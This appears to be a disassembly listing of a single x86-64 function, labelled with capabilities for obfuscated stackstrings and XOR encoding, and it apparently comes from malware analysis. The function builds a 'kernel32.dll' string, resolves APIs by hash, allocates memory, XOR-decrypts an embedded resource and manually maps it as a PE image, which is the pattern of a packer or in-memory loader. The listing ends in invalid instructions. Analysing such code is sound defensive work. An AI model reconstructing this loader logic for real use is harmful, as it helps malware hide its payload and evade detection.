Function at 0x14000d189
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
xor eax, eax
mov dword [rsp + 0x20], 0x51534650
mov dword [rsp + 0x24], 0x75636152
mov dword [rsp + 0x28], 0x42504e28
mov dword [rsp + 0x2c], 0x6e5a3059
mov word [rsp + 0x30], 0x3c
mov word [rbp - 0x79], ax
mov dword [rsp + 0x38], 0x65006b
mov dword [rsp + 0x3c], 0x6e0072
mov dword [rsp + 0x40], 0x6c0065
mov dword [rsp + 0x44], 0x320033
mov dword [rsp + 0x48], 0x64002e
mov dword [rbp - 0x7d], 0x6c006c
mov edx, 0x3d090c
nop
lea rcx, [rbp - 0x59]
nop dword [rax]
nop dword [rax + rax]
mov byte [rcx], al
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x6a
jb 0x14000d219
mov eax, 0
dec rdx
jne 0x14000d209
cmp byte [rbp - 0x29], 0x30
jne 0x14000d245
lea rcx, [rsp + 0x38]
call fcn.14000d7d9
mov rbx, rax
jmp 0x14000d249
mov rbx, qword [rbp + 0x67]
mov edx, 0xe3142
mov rcx, rbx
call fcn.14000d839
mov edx, 0xd5786
mov rcx, rbx
mov r13, rax
call fcn.14000d839
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp - 0x71], rax
call fcn.14000d839
xor ecx, ecx
mov edx, 0x11800
lea r9d, [rcx + 4]
mov r8d, 0x3000
mov qword [rbp + 0x6f], rax
call r13
movabs r11, resource.12
movabs rbx, 0x14023f9c5
movabs rdi, 0x14023f9c6
movabs rsi, str.QQacu_NPB
movabs r12, 0x14023f9c8
sub r11, rax
sub rbx, rax
sub rdi, rax
sub rsi, rax
mov r14, rax
mov r10d, 2
mov r9, rax
mov r8d, 0x3800
movabs r15, 0xe38e38e38e38e38f
sub r12, rax
nop dword [rax]
nop word [rax + rax]
lea eax, [r10 - 2]
lea r9, [r9 + 5]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add al, 0xd2
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r9 - 5]
mov byte [r9 - 5], al
lea eax, [r10 - 1]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
movsxd rcx, r10d
xor al, byte [rbx + r9 - 5]
mov byte [r9 - 4], al
mov rax, r15
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rdi + r9 - 5]
mov byte [r9 - 3], al
lea eax, [r10 + 1]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [rsi + r9 - 5]
mov byte [r9 - 2], al
lea eax, [r10 + 2]
add r10d, 5
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x20]
xor al, byte [r12 + r9 - 5]
mov byte [r9 - 1], al
dec r8
jne 0x14000d2f9
mov rcx, r14
call fcn.14000d689
movsx r9d, byte [rbp - 0x51]
mov r8d, 0x3000
shl r9d, 3
mov rdx, rax
xor ecx, ecx
call r13
mov rdi, rax
test rax, rax
je 0x14000d664
movsxd rbx, dword [r14 + 0x3c]
mov r13, rdi
mov rdx, r14
add rbx, r14
mov rcx, rdi
sub r13, qword [rbx + 0x30]
movzx eax, word [rbx + 0x14]
mov r8d, dword [rbx + 0x54]
add rax, 0x18
mov qword [rbp + 0x77], rbx
mov qword [rbp - 0x69], r13
add rax, rbx
mov qword [rbx + 0x30], rdi
mov qword [rbp + 0x67], rax
call fcn.14000d6b9
mov r10, qword [rbx + 0xb0]
mov r11, qword [rbx + 0x90]
xor eax, eax
mov qword [rbp + 0x7f], r10
mov r12d, eax
mov esi, eax
cmp ax, word [rbx + 6]
jae 0x14000d664
mov rbx, qword [rbp + 0x67]
mov r15, qword [rbp + 0x77]
mov r13d, eax
add rbx, 0xc
nop
mov r9d, dword [rbx]
cmp r10d, r9d
jb 0x14000d480
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r10d, ecx
jae 0x14000d480
lea r12, [rbx - 0xc]
cmp r11d, r9d
jb 0x14000d494
mov ecx, dword [rbx - 4]
add ecx, r9d
cmp r11d, ecx
jae 0x14000d494
lea r13, [rbx - 0xc]
mov edx, dword [rbx + 8]
mov r8d, dword [rbx + 4]
lea rcx, [rdi + r9]
add rdx, r14
call fcn.14000d6b9
movzx eax, word [r15 + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x14000d469
mov r15, qword [rbp + 0x6f]
test r13, r13
mov r13, qword [rbp - 0x69]
je 0x14000d664
mov eax, dword [rbp + 0x83]
xor r11d, r11d
test rax, rax
je 0x14000d573
mov edx, 0xf000
invalid
invalid